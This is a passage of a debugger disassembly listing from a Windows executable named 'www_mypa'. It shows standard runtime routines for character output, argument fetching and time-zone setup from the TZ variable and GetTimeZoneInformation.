EDX,DWORD PTR DS:[EAX+405278] 004058F0 47 INC EDI 004058F1 54 PUSH ESP 004058F2 40 INC EAX 004058F3 0047 54 ADD BYTE PTR DS:[EDI+54],AL 004058F6 40 INC EAX 004058F7 005C53 40 ADD BYTE PTR DS:[EBX+EDX*2+40],BL 004058FB 0050 55 ADD BYTE PTR DS:[EAX+55],DL 004058FE 40 INC EAX 004058FF 00F3 ADD BL,DH 00405901 52 PUSH EDX 00405902 40 INC EAX 00405903 008A 5240002A ADD BYTE PTR DS:[EDX+2A004052],CL 00405909 55 PUSH EBP 0040590A 40 INC EAX 0040590B 0052 54 ADD BYTE PTR DS:[EDX+54],DL 0040590E 40 INC EAX 0040590F 002A ADD BYTE PTR DS:[EDX],CH 00405911 55 PUSH EBP 00405912 40 INC EAX 00405913 0006 ADD BYTE PTR DS:[ESI],AL 00405915 54 PUSH ESP 00405916 40 INC EAX 00405917 008C55 40004855 ADD BYTE PTR SS:[EBP+EDX*2+55480040],CL 0040591E 40 INC EAX 0040591F 006E 53 ADD BYTE PTR DS:[ESI+53],CH 00405922 40 INC EAX 00405923 003E ADD BYTE PTR DS:[ESI],BH 00405925 55 PUSH EBP 00405926 40 INC EAX 00405927 005A 55 ADD BYTE PTR DS:[EDX+55],BL 0040592A 40 INC EAX 0040592B 0000 ADD BYTE PTR DS:[EAX],AL 0040592D 57 PUSH EDI 0040592E 40 INC EAX 0040592F 0000 ADD BYTE PTR DS:[EAX],AL 00405931 1001 ADC BYTE PTR DS:[ECX],AL 00405933 1002 ADC BYTE PTR DS:[EDX],AL 00405935 1010 ADC BYTE PTR DS:[EAX],DL 00405937 1010 ADC BYTE PTR DS:[EAX],DL 00405939 1010 ADC BYTE PTR DS:[EAX],DL 0040593B 1010 ADC BYTE PTR DS:[EAX],DL 0040593D 1010 ADC BYTE PTR DS:[EAX],DL 0040593F 1003 ADC BYTE PTR DS:[EBX],AL 00405941 1010 ADC BYTE PTR DS:[EAX],DL 00405943 1010 ADC BYTE PTR DS:[EAX],DL 00405945 04 10 ADD AL,10 00405947 05 10101010 ADD EAX,10101010 0040594C 1010 ADC BYTE PTR DS:[EAX],DL 0040594E 1010 ADC BYTE PTR DS:[EAX],DL 00405950 06 PUSH ES 00405951 07 POP ES ; Modification of segment register 00405952 0808 OR BYTE PTR DS:[EAX],CL 00405954 0810 OR BYTE PTR DS:[EAX],DL 00405956 0910 OR DWORD PTR DS:[EAX],EDX 00405958 1010 ADC BYTE PTR DS:[EAX],DL 0040595A 100A ADC BYTE PTR DS:[EDX],CL 0040595C 0B0C10 OR ECX,DWORD PTR DS:[EAX+EDX] 0040595F 100D 100E1010 ADC BYTE PTR DS:[10100E10],CL 00405965 0F9090 90909090 SETO BYTE PTR DS:[EAX+90909090] 0040596C 90 NOP 0040596D 90 NOP 0040596E 90 NOP 0040596F 90 NOP 00405970 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00405974 8B41 04 MOV EAX,DWORD PTR DS:[ECX+4] 00405977 48 DEC EAX 00405978 8941 04 MOV DWORD PTR DS:[ECX+4],EAX 0040597B 78 14 JS SHORT www_mypa.00405991 0040597D 8B11 MOV EDX,DWORD PTR DS:[ECX] 0040597F 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00405983 8802 MOV BYTE PTR DS:[EDX],AL 00405985 8B11 MOV EDX,DWORD PTR DS:[ECX] 00405987 25 FF000000 AND EAX,0FF 0040598C 42 INC EDX 0040598D 8911 MOV DWORD PTR DS:[ECX],EDX 0040598F EB 0E JMP SHORT www_mypa.0040599F 00405991 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00405995 51 PUSH ECX 00405996 50 PUSH EAX 00405997 E8 94E0FFFF CALL www_mypa.00403A30 0040599C 83C4 08 ADD ESP,8 0040599F 83F8 FF CMP EAX,-1 004059A2 75 07 JNZ SHORT www_mypa.004059AB 004059A4 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 004059A8 8901 MOV DWORD PTR DS:[ECX],EAX 004059AA C3 RETN 004059AB 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 004059AF FF00 INC DWORD PTR DS:[EAX] 004059B1 C3 RETN 004059B2 90 NOP 004059B3 90 NOP 004059B4 90 NOP 004059B5 90 NOP 004059B6 90 NOP 004059B7 90 NOP 004059B8 90 NOP 004059B9 90 NOP 004059BA 90 NOP 004059BB 90 NOP 004059BC 90 NOP 004059BD 90 NOP 004059BE 90 NOP 004059BF 90 NOP 004059C0 53 PUSH EBX 004059C1 55 PUSH EBP 004059C2 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10] 004059C6 56 PUSH ESI 004059C7 8BC5 MOV EAX,EBP 004059C9 4D DEC EBP 004059CA 85C0 TEST EAX,EAX 004059CC 57 PUSH EDI 004059CD 7E 25 JLE SHORT www_mypa.004059F4 004059CF 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20] 004059D3 8B7C24 1C MOV EDI,DWORD PTR SS:[ESP+1C] 004059D7 8B5C24 14 MOV EBX,DWORD PTR SS:[ESP+14] 004059DB 56 PUSH ESI 004059DC 57 PUSH EDI 004059DD 53 PUSH EBX 004059DE E8 8DFFFFFF CALL www_mypa.00405970 004059E3 8B06 MOV EAX,DWORD PTR DS:[ESI] 004059E5 83C4 0C ADD ESP,0C 004059E8 83F8 FF CMP EAX,-1 004059EB 74 07 JE SHORT www_mypa.004059F4 004059ED 8BCD MOV ECX,EBP 004059EF 4D DEC EBP 004059F0 85C9 TEST ECX,ECX 004059F2 ^7F E7 JG SHORT www_mypa.004059DB 004059F4 5F POP EDI 004059F5 5E POP ESI 004059F6 5D POP EBP 004059F7 5B POP EBX 004059F8 C3 RETN 004059F9 90 NOP 004059FA 90 NOP 004059FB 90 NOP 004059FC 90 NOP 004059FD 90 NOP 004059FE 90 NOP 004059FF 90 NOP 00405A00 53 PUSH EBX 00405A01 55 PUSH EBP 00405A02 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10] 00405A06 56 PUSH ESI 00405A07 8BC5 MOV EAX,EBP 00405A09 4D DEC EBP 00405A0A 85C0 TEST EAX,EAX 00405A0C 57 PUSH EDI 00405A0D 7E 29 JLE SHORT www_mypa.00405A38 00405A0F 8B7C24 20 MOV EDI,DWORD PTR SS:[ESP+20] 00405A13 8B5C24 1C MOV EBX,DWORD PTR SS:[ESP+1C] 00405A17 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 00405A1B 0FBE06 MOVSX EAX,BYTE PTR DS:[ESI] 00405A1E 57 PUSH EDI 00405A1F 53 PUSH EBX 00405A20 50 PUSH EAX 00405A21 46 INC ESI 00405A22 E8 49FFFFFF CALL www_mypa.00405970 00405A27 8B07 MOV EAX,DWORD PTR DS:[EDI] 00405A29 83C4 0C ADD ESP,0C 00405A2C 83F8 FF CMP EAX,-1 00405A2F 74 07 JE SHORT www_mypa.00405A38 00405A31 8BCD MOV ECX,EBP 00405A33 4D DEC EBP 00405A34 85C9 TEST ECX,ECX 00405A36 ^7F E3 JG SHORT www_mypa.00405A1B 00405A38 5F POP EDI 00405A39 5E POP ESI 00405A3A 5D POP EBP 00405A3B 5B POP EBX 00405A3C C3 RETN 00405A3D 90 NOP 00405A3E 90 NOP 00405A3F 90 NOP 00405A40 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00405A44 8B08 MOV ECX,DWORD PTR DS:[EAX] 00405A46 83C1 04 ADD ECX,4 00405A49 8908 MOV DWORD PTR DS:[EAX],ECX 00405A4B 8BC1 MOV EAX,ECX 00405A4D 8B40 FC MOV EAX,DWORD PTR DS:[EAX-4] 00405A50 C3 RETN 00405A51 90 NOP 00405A52 90 NOP 00405A53 90 NOP 00405A54 90 NOP 00405A55 90 NOP 00405A56 90 NOP 00405A57 90 NOP 00405A58 90 NOP 00405A59 90 NOP 00405A5A 90 NOP 00405A5B 90 NOP 00405A5C 90 NOP 00405A5D 90 NOP 00405A5E 90 NOP 00405A5F 90 NOP 00405A60 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00405A64 8B08 MOV ECX,DWORD PTR DS:[EAX] 00405A66 83C1 08 ADD ECX,8 00405A69 8908 MOV DWORD PTR DS:[EAX],ECX 00405A6B 8B41 F8 MOV EAX,DWORD PTR DS:[ECX-8] 00405A6E 8B51 FC MOV EDX,DWORD PTR DS:[ECX-4] 00405A71 C3 RETN 00405A72 90 NOP 00405A73 90 NOP 00405A74 90 NOP 00405A75 90 NOP 00405A76 90 NOP 00405A77 90 NOP 00405A78 90 NOP 00405A79 90 NOP 00405A7A 90 NOP 00405A7B 90 NOP 00405A7C 90 NOP 00405A7D 90 NOP 00405A7E 90 NOP 00405A7F 90 NOP 00405A80 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00405A84 8B08 MOV ECX,DWORD PTR DS:[EAX] 00405A86 83C1 04 ADD ECX,4 00405A89 8908 MOV DWORD PTR DS:[EAX],ECX 00405A8B 8BC1 MOV EAX,ECX 00405A8D 66:8B40 FC MOV AX,WORD PTR DS:[EAX-4] 00405A91 C3 RETN 00405A92 90 NOP 00405A93 90 NOP 00405A94 90 NOP 00405A95 90 NOP 00405A96 90 NOP 00405A97 90 NOP 00405A98 90 NOP 00405A99 90 NOP 00405A9A 90 NOP 00405A9B 90 NOP 00405A9C 90 NOP 00405A9D 90 NOP 00405A9E 90 NOP 00405A9F 90 NOP 00405AA0 A1 08084100 MOV EAX,DWORD PTR DS:[410808] 00405AA5 85C0 TEST EAX,EAX 00405AA7 75 0B JNZ SHORT www_mypa.00405AB4 00405AA9 E8 12000000 CALL www_mypa.00405AC0 00405AAE FF05 08084100 INC DWORD PTR DS:[410808] 00405AB4 C3 RETN 00405AB5 90 NOP 00405AB6 90 NOP 00405AB7 90 NOP 00405AB8 90 NOP 00405AB9 90 NOP 00405ABA 90 NOP 00405ABB 90 NOP 00405ABC 90 NOP 00405ABD 90 NOP 00405ABE 90 NOP 00405ABF 90 NOP 00405AC0 51 PUSH ECX 00405AC1 55 PUSH EBP 00405AC2 56 PUSH ESI 00405AC3 57 PUSH EDI 00405AC4 33F6 XOR ESI,ESI 00405AC6 68 C8A04000 PUSH www_mypa.0040A0C8 ; ASCII "TZ" 00405ACB 897424 10 MOV DWORD PTR SS:[ESP+10],ESI 00405ACF 8935 50074100 MOV DWORD PTR DS:[410750],ESI 00405AD5 C705 A8EC4000 FF>MOV DWORD PTR DS:[40ECA8],-1 00405ADF C705 98EC4000 FF>MOV DWORD PTR DS:[40EC98],-1 00405AE9 E8 A2C6FFFF CALL www_mypa.00402190 00405AEE 8BE8 MOV EBP,EAX 00405AF0 83C4 04 ADD ESP,4 00405AF3 3BEE CMP EBP,ESI 00405AF5 0F85 CC000000 JNZ www_mypa.00405BC7 00405AFB 68 58074100 PUSH www_mypa.00410758 00405B00 FF15 E8214100 CALL DWORD PTR DS:[4121E8] ; kernel32.GetTimeZoneInformation 00405B06 83F8 FF CMP EAX,-1 00405B09 0F84 57020000 JE www_mypa.00405D66 00405B0F A1 58074100 MOV EAX,DWORD PTR DS:[410758] 00405B14 8B0D AC074100 MOV ECX,DWORD PTR DS:[4107AC] 00405B1A 33FF XOR EDI,EDI 00405B1C BE 01000000 MOV ESI,1 00405B21 8D0440 LEA EAX,DWORD PTR DS:[EAX+EAX*2] 00405B24 8935 50074100 MOV DWORD PTR DS:[410750],ESI 00405B2A 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405B2D C1E0 02 SHL EAX,2 00405B30 66:393D 9E074100 CMP WORD PTR DS:[41079E],DI 00405B37 A3 00EC4000 MOV DWORD PTR DS:[40EC00],EAX 00405B3C 74 0E JE SHORT www_mypa.00405B4C 00405B3E 8D1449 LEA EDX,DWORD PTR DS:[ECX+ECX*2] 00405B41 8D1492 LEA EDX,DWORD PTR DS:[EDX+EDX*4] 00405B44 8D0490 LEA EAX,DWORD PTR DS:[EAX+EDX*4] 00405B47 A3 00EC4000 MOV DWORD PTR DS:[40EC00],EAX 00405B4C 66:393D F2074100 CMP WORD PTR DS:[4107F2],DI 00405B53 74 22 JE SHORT www_mypa.00405B77 00405B55 A1 00084100 MOV EAX,DWORD PTR DS:[410800] 00405B5A 3BC7 CMP EAX,EDI 00405B5C 74 19 JE SHORT www_mypa.00405B77 00405B5E 2BC1 SUB EAX,ECX 00405B60 8935 04EC4000 MOV DWORD PTR DS:[40EC04],ESI 00405B66 8D0440 LEA EAX,DWORD PTR DS:[EAX+EAX*2] 00405B69 8D0C80 LEA ECX,DWORD PTR DS:[EAX+EAX*4] 00405B6C C1E1 02 SHL ECX,2 00405B6F 890D 08EC4000 MOV DWORD PTR DS:[40EC08],ECX 00405B75 EB 0C JMP SHORT www_mypa.00405B83 00405B77 893D 04EC4000 MOV DWORD PTR DS:[40EC04],EDI 00405B7D 893D 08EC4000 MOV DWORD PTR DS:[40EC08],EDI 00405B83 8B15 90EC4000 MOV EDX,DWORD PTR DS:[40EC90] ; www_mypa.0040EC10 00405B89 6A 40 PUSH 40 00405B8B 68 5C074100 PUSH www_mypa.0041075C 00405B90 52 PUSH EDX 00405B91 E8 CA290000 CALL www_mypa.00408560 00405B96 A1 94EC4000 MOV EAX,DWORD PTR DS:[40EC94] 00405B9B 83C4 0C ADD ESP,0C 00405B9E 6A 40 PUSH 40 00405BA0 68 B0074100 PUSH www_mypa.004107B0 00405BA5 50 PUSH EAX 00405BA6 E8 B5290000 CALL www_mypa.00408560 00405BAB 8B0D 94EC4000 MOV ECX,DWORD PTR DS:[40EC94] ; www_mypa.0040EC50 00405BB1 83C4 0C ADD ESP,0C 00405BB4 C641 3F 00 MOV BYTE PTR DS:[ECX+3F],0 00405BB8 8B15 90EC4000 MOV EDX,DWORD PTR DS:[40EC90] ; www_mypa.0040EC10 00405BBE C642 3F 00 MOV BYTE PTR DS:[EDX+3F],0 00405BC2 5F POP EDI 00405BC3 5E POP ESI 00405BC4 5D POP EBP 00405BC5 59 POP ECX 00405BC6 C3 RETN 00405BC7 807D 00 00 CMP BYTE PTR SS:[EBP],0 00405BCB 0F84 95010000 JE www_mypa.00405D66 00405BD1 8B3D 04084100 MOV EDI,DWORD PTR DS:[410804] 00405BD7 3BFE CMP EDI,ESI 00405BD9 74 35 JE SHORT www_mypa.00405C10 00405BDB 8BF7 MOV ESI,EDI 00405BDD 8BC5 MOV EAX,EBP 00405BDF 8A10 MOV DL,BYTE PTR DS:[EAX] 00405BE1 8ACA MOV CL,DL 00405BE3 3A16 CMP DL,BYTE PTR DS:[ESI] 00405BE5 75 1C JNZ SHORT www_mypa.00405C03 00405BE7 84C9 TEST CL,CL 00405BE9 74 14 JE SHORT www_mypa.00405BFF 00405BEB 8A50 01 MOV DL,BYTE PTR DS:[EAX+1] 00405BEE 8ACA MOV CL,DL 00405BF0 3A56 01 CMP DL,BYTE PTR DS:[ESI+1] 00405BF3 75 0E JNZ SHORT www_mypa.00405C03 00405BF5 83C0 02 ADD EAX,2 00405BF8 83C6 02 ADD ESI,2 00405BFB 84C9 TEST CL,CL 00405BFD ^75 E0 JNZ SHORT www_mypa.00405BDF 00405BFF 33C0 XOR EAX,EAX 00405C01 EB 05 JMP SHORT www_mypa.00405C08 00405C03 1BC0 SBB EAX,EAX 00405C05 83D8 FF SBB EAX,-1 00405C08 85C0 TEST EAX,EAX 00405C0A 0F84 56010000 JE www_mypa.00405D66 00405C10 57 PUSH EDI 00405C11 E8 5ADBFFFF CALL www_mypa.00403770 00405C16 8BFD MOV EDI,EBP 00405C18 83C9 FF OR ECX,FFFFFFFF 00405C1B 33C0 XOR EAX,EAX 00405C1D 83C4 04 ADD ESP,4 00405C20 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00405C22 F7D1 NOT ECX 00405C24 51 PUSH ECX 00405C25 E8 D6C9FFFF CALL www_mypa.00402600 00405C2A 8BD0 MOV EDX,EAX 00405C2C 83C4 04 ADD ESP,4 00405C2F 85D2 TEST EDX,EDX 00405C31 8915 04084100 MOV DWORD PTR DS:[410804],EDX 00405C37 0F84 29010000 JE www_mypa.00405D66 00405C3D 8BFD MOV EDI,EBP 00405C3F 83C9 FF OR ECX,FFFFFFFF 00405C42 33C0 XOR EAX,EAX 00405C44 6A 03 PUSH 3 00405C46 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00405C48 F7D1 NOT ECX 00405C4A 2BF9 SUB EDI,ECX 00405C4C 55 PUSH EBP 00405C4D 8BC1 MOV EAX,ECX 00405C4F 8BF7 MOV ESI,EDI 00405C51 8BFA MOV EDI,EDX 00405C53 C1E9 02 SHR ECX,2 00405C56 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00405C58 8BC8 MOV ECX,EAX 00405C5A 83E1 03 AND ECX,3 00405C5D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 00405C5F 8B0D 90EC4000 MOV ECX,DWORD PTR DS:[40EC90] ; www_mypa.0040EC10 00405C65 51 PUSH ECX 00405C66 E8 F5270000 CALL www_mypa.00408460 00405C6B 8B15 90EC4000 MOV EDX,DWORD PTR DS:[40EC90] ; www_mypa.0040EC10 00405C71 83C5 03 ADD EBP,3 00405C74 83C4 0C ADD ESP,0C 00405C77 C642 03 00 MOV BYTE PTR DS:[EDX+3],0 00405C7B 8A45 00 MOV AL,BYTE PTR SS:[EBP] 00405C7E 3C 2D CMP AL,2D 00405C80 75 08 JNZ SHORT www_mypa.00405C8A 00405C82 BE 01000000 MOV ESI,1 00405C87 45 INC EBP 00405C88 EB 04 JMP SHORT www_mypa.00405C8E 00405C8A 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] 00405C8E 55 PUSH EBP 00405C8F E8 2C270000 CALL www_mypa.004083C0 00405C94 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405C97 83C4 04 ADD ESP,4 00405C9A 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405C9D 8D0CC0 LEA ECX,DWORD PTR DS:[EAX+EAX*8] 00405CA0 C1E1 04 SHL ECX,4 00405CA3 890D 00EC4000 MOV DWORD PTR DS:[40EC00],ECX 00405CA9 8A45 00 MOV AL,BYTE PTR SS:[EBP] 00405CAC 3C 2B CMP AL,2B 00405CAE 74 08 JE SHORT www_mypa.00405CB8 00405CB0 3C 30 CMP AL,30 00405CB2 7C 07 JL SHORT www_mypa.00405CBB 00405CB4 3C 39 CMP AL,39 00405CB6 7F 03 JG SHORT www_mypa.00405CBB 00405CB8 45 INC EBP 00405CB9 ^EB EE JMP SHORT www_mypa.00405CA9 00405CBB 807D 00 3A CMP BYTE PTR SS:[EBP],3A 00405CBF 75 63 JNZ SHORT www_mypa.00405D24 00405CC1 45 INC EBP 00405CC2 55 PUSH EBP 00405CC3 E8 F8260000 CALL www_mypa.004083C0 00405CC8 8B0D 00EC4000 MOV ECX,DWORD PTR DS:[40EC00] 00405CCE 8D0440 LEA EAX,DWORD PTR DS:[EAX+EAX*2] 00405CD1 83C4 04 ADD ESP,4 00405CD4 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405CD7 8D0C81 LEA ECX,DWORD PTR DS:[ECX+EAX*4] 00405CDA 890D 00EC4000 MOV DWORD PTR DS:[40EC00],ECX 00405CE0 8A45 00 MOV AL,BYTE PTR SS:[EBP] 00405CE3 3C 30 CMP AL,30 00405CE5 7C 0C JL SHORT www_mypa.00405CF3 00405CE7 3C 39 CMP AL,39 00405CE9 7F 08 JG SHORT www_mypa.00405CF3 00405CEB 8A45 01 MOV AL,BYTE PTR SS:[EBP+1] 00405CEE 45 INC EBP 00405CEF 3C 30 CMP AL,30 00405CF1 ^7D F4 JGE SHORT www_mypa.00405CE7 00405CF3 807D 00 3A CMP BYTE PTR SS:[EBP],3A 00405CF7 75 2B JNZ SHORT www_mypa.00405D24 00405CF9 45 INC EBP 00405CFA 55 PUSH EBP 00405CFB E8 C0260000 CALL www_mypa.004083C0 00405D00 8B0D 00EC4000 MOV ECX,DWORD PTR DS:[40EC00] 00405D06 83C4 04 ADD ESP,4 00405D09 03C8 ADD ECX,EAX 00405D0B 890D 00EC4000 MOV DWORD PTR DS:[40EC00],ECX 00405D11 8A45 00 MOV AL,BYTE PTR SS:[EBP] 00405D14 3C 30 CMP AL,30 00405D16 7C 0C JL SHORT www_mypa.00405D24 00405D18 3C 39 CMP AL,39 00405D1A 7F 08 JG SHORT www_mypa.00405D24 00405D1C 8A45 01 MOV AL,BYTE PTR SS:[EBP+1] 00405D1F 45 INC EBP 00405D20 3C 30 CMP AL,30 00405D22 ^7D F4 JGE SHORT www_mypa.00405D18 00405D24 85F6 TEST ESI,ESI 00405D26 74 08 JE SHORT www_mypa.00405D30 00405D28 F7D9 NEG ECX 00405D2A 890D 00EC4000 MOV DWORD PTR DS:[40EC00],ECX 00405D30 0FBE45 00 MOVSX EAX,BYTE PTR SS:[EBP] 00405D34 85C0 TEST EAX,EAX 00405D36 A3 04EC4000 MOV DWORD PTR DS:[40EC04],EAX 00405D3B 74 20 JE SHORT www_mypa.00405D5D 00405D3D 8B15 94EC4000 MOV EDX,DWORD PTR DS:[40EC94] ; www_mypa.0040EC50 00405D43 6A 03 PUSH 3 00405D45 55 PUSH EBP 00405D46 52 PUSH EDX 00405D47 E8 14270000 CALL www_mypa.00408460 00405D4C A1 94EC4000 MOV EAX,DWORD PTR DS:[40EC94] 00405D51 83C4 0C ADD ESP,0C 00405D54 C640 03 00 MOV BYTE PTR DS:[EAX+3],0 00405D58 5F POP EDI 00405D59 5E POP ESI 00405D5A 5D POP EBP 00405D5B 59 POP ECX 00405D5C C3 RETN 00405D5D 8B0D 94EC4000 MOV ECX,DWORD PTR DS:[40EC94] ; www_mypa.0040EC50 00405D63 C601 00 MOV BYTE PTR DS:[ECX],0 00405D66 5F POP EDI 00405D67 5E POP ESI 00405D68 5D POP EBP 00405D69 59 POP ECX 00405D6A C3 RETN 00405D6B 90 NOP 00405D6C 90 NOP 00405D6D 90 NOP 00405D6E 90 NOP 00405D6F 90 NOP 00405D70 A1 04EC4000 MOV EAX,DWORD PTR DS:[40EC04] 00405D75 56 PUSH ESI 00405D76 85C0 TEST EAX,EAX 00405D78 57 PUSH EDI 00405D79 75 05 JNZ SHORT www_mypa.00405D80 00405D7B 33C0 XOR EAX,EAX 00405D7D 5F POP EDI 00405D7E 5E POP ESI 00405D7F C3 RETN 00405D80 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] 00405D84 8B0D 98EC4000 MOV ECX,DWORD PTR DS:[40EC98] 00405D8A 8B46 14 MOV EAX,DWORD PTR DS:[ESI+14] 00405D8D 3BC1 CMP EAX,ECX 00405D8F 75 0C JNZ SHORT www_mypa.00405D9D 00405D91 3B05 A8EC4000 CMP EAX,DWORD PTR DS:[40ECA8] 00405D97 0F84 A7010000 JE www_mypa.00405F44 00405D9D 8B0D 50074100 MOV ECX,DWORD PTR DS:[410750] 00405DA3 85C9 TEST ECX,ECX 00405DA5 0F84 5C010000 JE www_mypa.00405F07 00405DAB 66:833D F0074100>CMP WORD PTR DS:[4107F0],0 00405DB3 75 56 JNZ SHORT www_mypa.00405E0B 00405DB5 8B15 FC074100 MOV EDX,DWORD PTR DS:[4107FC] 00405DBB 33C9 XOR ECX,ECX 00405DBD 66:8B0D FE074100 MOV CX,WORD PTR DS:[4107FE] 00405DC4 81E2 FFFF0000 AND EDX,0FFFF 00405DCA 51 PUSH ECX 00405DCB 33C9 XOR ECX,ECX 00405DCD 66:8B0D FA074100 MOV CX,WORD PTR DS:[4107FA] 00405DD4 52 PUSH EDX 00405DD5 8B15 F8074100 MOV EDX,DWORD PTR DS:[4107F8] 00405DDB 51 PUSH ECX 00405DDC 8B0D F4074100 MOV ECX,DWORD PTR DS:[4107F4] 00405DE2 81E2 FFFF0000 AND EDX,0FFFF 00405DE8 52 PUSH EDX 00405DE9 81E1 FFFF0000 AND ECX,0FFFF 00405DEF 6A 00 PUSH 0 00405DF1 51 PUSH ECX 00405DF2 33D2 XOR EDX,EDX 00405DF4 33C9 XOR ECX,ECX 00405DF6 66:8B15 F6074100 MOV DX,WORD PTR DS:[4107F6] 00405DFD 66:8B0D F2074100 MOV CX,WORD PTR DS:[4107F2] 00405E04 52 PUSH EDX 00405E05 51 PUSH ECX 00405E06 50 PUSH EAX 00405E07 6A 01 PUSH 1 00405E09 EB 49 JMP SHORT www_mypa.00405E54 00405E0B 8B0D FC074100 MOV ECX,DWORD PTR DS:[4107FC] 00405E11 33D2 XOR EDX,EDX 00405E13 66:8B15 FE074100 MOV DX,WORD PTR DS:[4107FE] 00405E1A 81E1 FFFF0000 AND ECX,0FFFF 00405E20 52 PUSH EDX 00405E21 33D2 XOR EDX,EDX 00405E23 66:8B15 FA074100 MOV DX,WORD PTR DS:[4107FA] 00405E2A 51 PUSH ECX 00405E2B 8B0D F8074100 MOV ECX,DWORD PTR DS:[4107F8] 00405E31 52 PUSH EDX 00405E32 81E1 FFFF0000 AND ECX,0FFFF 00405E38 33D2 XOR EDX,EDX 00405E3A 66:8B15 F6074100 MOV DX,WORD PTR DS:[4107F6] 00405E41 51 PUSH ECX 00405E42 33C9 XOR ECX,ECX 00405E44 52 PUSH EDX 00405E45 66:8B0D F2074100 MOV CX,WORD PTR DS:[4107F2] 00405E4C 6A 00 PUSH 0 00405E4E 6A 00 PUSH 0 00405E50 51 PUSH ECX 00405E51 50 PUSH EAX 00405E52 6A 00 PUSH 0 00405E54 6A 01 PUSH 1 00405E56 E8 85010000 CALL www_mypa.00405FE0 00405E5B 83C4 2C ADD ESP,2C 00405E5E 66:833D 9C074100>CMP WORD PTR DS:[41079C],0 00405E66 75 53 JNZ SHORT www_mypa.00405EBB 00405E68 A1 A8074100 MOV EAX,DWORD PTR DS:[4107A8] 00405E6D 33D2 XOR EDX,EDX 00405E6F 66:8B15 AA074100 MOV DX,WORD PTR DS:[4107AA] 00405E76 25 FFFF0000 AND EAX,0FFFF 00405E7B 52 PUSH EDX 00405E7C 8B15 A4074100 MOV EDX,DWORD PTR DS:[4107A4] 00405E82 33C9 XOR ECX,ECX 00405E84 50 PUSH EAX 00405E85 66:8B0D A6074100 MOV CX,WORD PTR DS:[4107A6] 00405E8C A1 A0074100 MOV EAX,DWORD PTR DS:[4107A0] 00405E91 81E2 FFFF0000 AND EDX,0FFFF 00405E97 51 PUSH ECX 00405E98 52 PUSH EDX 00405E99 25 FFFF0000 AND EAX,0FFFF 00405E9E 33C9 XOR ECX,ECX 00405EA0 33D2 XOR EDX,EDX 00405EA2 66:8B0D A2074100 MOV CX,WORD PTR DS:[4107A2] 00405EA9 66:8B15 9E074100 MOV DX,WORD PTR DS:[41079E] 00405EB0 6A 00 PUSH 0 00405EB2 50 PUSH EAX 00405EB3 8B46 14 MOV EAX,DWORD PTR DS:[ESI+14] 00405EB6 51 PUSH ECX 00405EB7 52 PUSH EDX 00405EB8 50 PUSH EAX 00405EB9 EB 7D JMP SHORT www_mypa.00405F38 00405EBB 8B15 A8074100 MOV EDX,DWORD PTR DS:[4107A8] 00405EC1 33C9 XOR ECX,ECX 00405EC3 66:8B0D AA074100 MOV CX,WORD PTR DS:[4107AA] 00405ECA 81E2 FFFF0000 AND EDX,0FFFF 00405ED0 51 PUSH ECX 00405ED1 8B0D A4074100 MOV ECX,DWORD PTR DS:[4107A4] 00405ED7 33C0 XOR EAX,EAX 00405ED9 52 PUSH EDX 00405EDA 66:A1 A6074100 MOV AX,WORD PTR DS:[4107A6] 00405EE0 33D2 XOR EDX,EDX 00405EE2 66:8B15 A2074100 MOV DX,WORD PTR DS:[4107A2] 00405EE9 81E1 FFFF0000 AND ECX,0FFFF 00405EEF 50 PUSH EAX 00405EF0 51 PUSH ECX 00405EF1 8B4E 14 MOV ECX,DWORD PTR DS:[ESI+14] 00405EF4 33C0 XOR EAX,EAX 00405EF6 66:A1 9E074100 MOV AX,WORD PTR DS:[41079E] 00405EFC 52 PUSH EDX 00405EFD 6A 00 PUSH 0 00405EFF 6A 00 PUSH 0 00405F01 50 PUSH EAX 00405F02 51 PUSH ECX 00405F03 6A 00 PUSH 0 00405F05 EB 33 JMP SHORT www_mypa.00405F3A 00405F07 6A 00 PUSH 0 00405F09 6A 00 PUSH 0 00405F0B 6A 00 PUSH 0 00405F0D 6A 02 PUSH 2 00405F0F 6A 00 PUSH 0 00405F11 6A 00 PUSH 0 00405F13 6A 01 PUSH 1 00405F15 6A 04 PUSH 4 00405F17 50 PUSH EAX 00405F18 6A 01 PUSH 1 00405F1A 6A 01 PUSH 1 00405F1C E8 BF000000 CALL www_mypa.00405FE0 00405F21 83C4 2C ADD ESP,2C 00405F24 8B56 14 MOV EDX,DWORD PTR DS:[ESI+14] 00405F27 6A 00 PUSH 0 00405F29 6A 00 PUSH 0 00405F2B 6A 00 PUSH 0 00405F2D 6A 02 PUSH 2 00405F2F 6A 00 PUSH 0 00405F31 6A 00 PUSH 0 00405F33 6A 05 PUSH 5 00405F35 6A 0A PUSH 0A 00405F37 52 PUSH EDX 00405F38 6A 01 PUSH 1 00405F3A 6A 00 PUSH 0 00405F3C E8 9F000000 CALL www_mypa.00405FE0 00405F41 83C4 2C ADD ESP,2C 00405F44 8B15 9CEC4000 MOV EDX,DWORD PTR DS:[40EC9C] 00405F4A A1 ACEC4000 MOV EAX,DWORD PTR DS:[40ECAC] 00405F4F 8B4E 1C MOV ECX,DWORD PTR DS:[ESI+1C] 00405F52 3BD0 CMP EDX,EAX 00405F54 7D 18 JGE SHORT www_mypa.00405F6E 00405F56 3BCA CMP ECX,EDX 00405F58 7C 24 JL SHORT www_mypa.00405F7E 00405F5A 3BC8 CMP ECX,EAX 00405F5C 7F 20 JG 